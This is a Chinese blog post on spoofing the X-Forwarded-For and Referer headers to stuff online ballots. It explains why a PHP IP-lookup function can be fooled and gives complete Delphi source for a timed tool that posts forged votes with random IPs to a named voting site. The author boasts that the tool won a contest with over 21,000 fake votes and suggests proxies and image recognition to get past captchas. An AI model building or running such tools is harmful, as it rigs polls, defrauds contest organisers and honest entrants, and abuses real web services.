伪造Cookie,伪造ip头,投票

PHP中获得IP地址的一个函数,GetIP(),代码如下:
Code:

function GetIP(){
if($_SERVER['HTTP_CLIENT_IP']){
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}elseif($_SERVER['HTTP_X_FORWARDED_FOR']){
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}

该函数获取的IP地址是可以绕过代理而仍能得到机器IP.
分析了函数代码后发现加了代理后,服务器获取的IP是来自变量:
$_SERVER['HTTP_X_FORWARDED_FOR']
这个变量是http头信息的一部分,是http头那就好伪造了,很激动,着手写测试代码,利用php的socket函数(注意这里不能用header()来发,这里是用php模拟http头向其他WEB服务器发送头信息)写了一个简单的测试代码,伪造了一个
X-Forwarded-For:IP地址
格式的头信息给服务器,然后再把投票表单POST到服务器,返回结果提示投票成功.兴奋中!喝了杯咖啡,换用DELPHI7 indy中的IdHTTP组件来进行POST提交,IdHTTP组件还可以直接象服务器发送头信息,设置COOKIE等,所以写这个投票作B程序非它莫属.程序中用了4个随机函数分别生成IP地址的4个段,然后用IDHTTP发送形如"X-Forwarded-For:IP地址"格式的头信息,为了更好的达到访真效果,再向服务器发送一个形如"Referer:URL地址"格式的头信息给服务器,伪造REFERER地址.为了更好的控制投票频率,还需要加个TIMER定时期,可以手动输入投票间隔时间,测试了一下,一秒投10次票很稳定.
最后记者朋友的宝贝女儿以21457票拿了第一名.
IDHTTP也可以使用代理,所以它可以用来对付限制IP,限制COOKIE的所有投票的作B,但是含有验证码的投票程序就不行了,这个可以使用图象识别来搞定.
整个代码如下:
Code:

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdHTTP,StrUtils, ComCtrls, OleCtrls,
SHDocVw;
type
TForm1 = class(TForm)
web: TWebBrowser;
Panel1: TPanel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Timer1: TTimer;
ComboBox1: TComboBox;
Label6: TLabel;
procedure Timer1Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
i:integer;
implementation

{$R *.dfm}
function PostWebPage(url:String;TimeOut:Integer):String;
var
tmpWeb:TIdHTTP;
retrun:String;
para:String;
i:Integer;
paralist:TStrings;
ip1,ip2,ip3,ip4,ip:string;
begin
retrun:='';;
try
para:=MidStr(url,pos('?',url),length(url)-pos('?',url)+1);
paralist:=TStringList.Create;
paralist.Text:=StringReplace(para,'&',#13#10,[rfReplaceAll]);
tmpWeb:=TIdHTTP.Create(nil);
tmpWeb.ReadTimeout:=TimeOut;
Randomize;
ip1:= inttostr(1 + Random(223-58));
ip2:= inttostr(0 + Random(254-0));
ip3:= inttostr(0 + Random(254-0));
ip4:= inttostr(0 + Random(254-0));
ip:=ip1+'.'+ip2+'.'+ip3+'.'+ip4;
tmpWeb.Request.CustomHeaders.Add('Referer:http://baby.dukuai.com/');
//tmpWeb.Request.CustomHeaders.Add('HTTP_PC_REMOTE_ADDR:'+ip);
tmpWeb.Request.CustomHeaders.Add('X-Forwarded-For:'+ip);

for i:=1 to 3 do
begin
try
retrun:=tmpWeb.Post(url,paralist);
form1.web.Navigate('http://vote.dukuai.com//view.php?id=16');
except end;
if retrun<>'' then break;
end;
finally
tmpWeb.Disconnect;
FreeAndNil(tmpWeb);
FreeAndNil(paralist);
end;

Result:=retrun;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
temp:string;
begin

if trim(edit1.Text)<>'' then begin
temp:=PostWebPage(edit1.text,30000);
if temp<>'' then begin
//memo1.Text:=temp;
//memo1.Lines.SaveToFile('c:temp.htm');
//web.Navigate('c:temp.htm');
inc(i);
label2.Caption:=inttostr(i);
end;
end;
//timer1.Enabled:=false;

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if self.Button1.Caption='开始' then
begin
timer1.Interval:=strtoint(edit2.Text);
timer1.Enabled:=true;
Button1.Caption:='停止';;
edit1.Enabled:=false;
edit2.Enabled:=false;
combobox1.Enabled:=false;
end
else
begin
timer1.Enabled:=false;
Button1.Caption:='开始';;
edit1.Enabled:=true;
edit2.Enabled:=true;
combobox1.Enabled:=true;
end;
end;

procedure TForm1.ComboBox1Change(Sender: TObject);
begin
edit1.Text:='http://vote.dukuai.com/vote.php?id=16&ITEM1='+inttostr(combobox1.ItemIndex+1)+'&VoteID=16'
end;

end.

你可能感兴趣的:(伪造Cookie,伪造ip头,投票)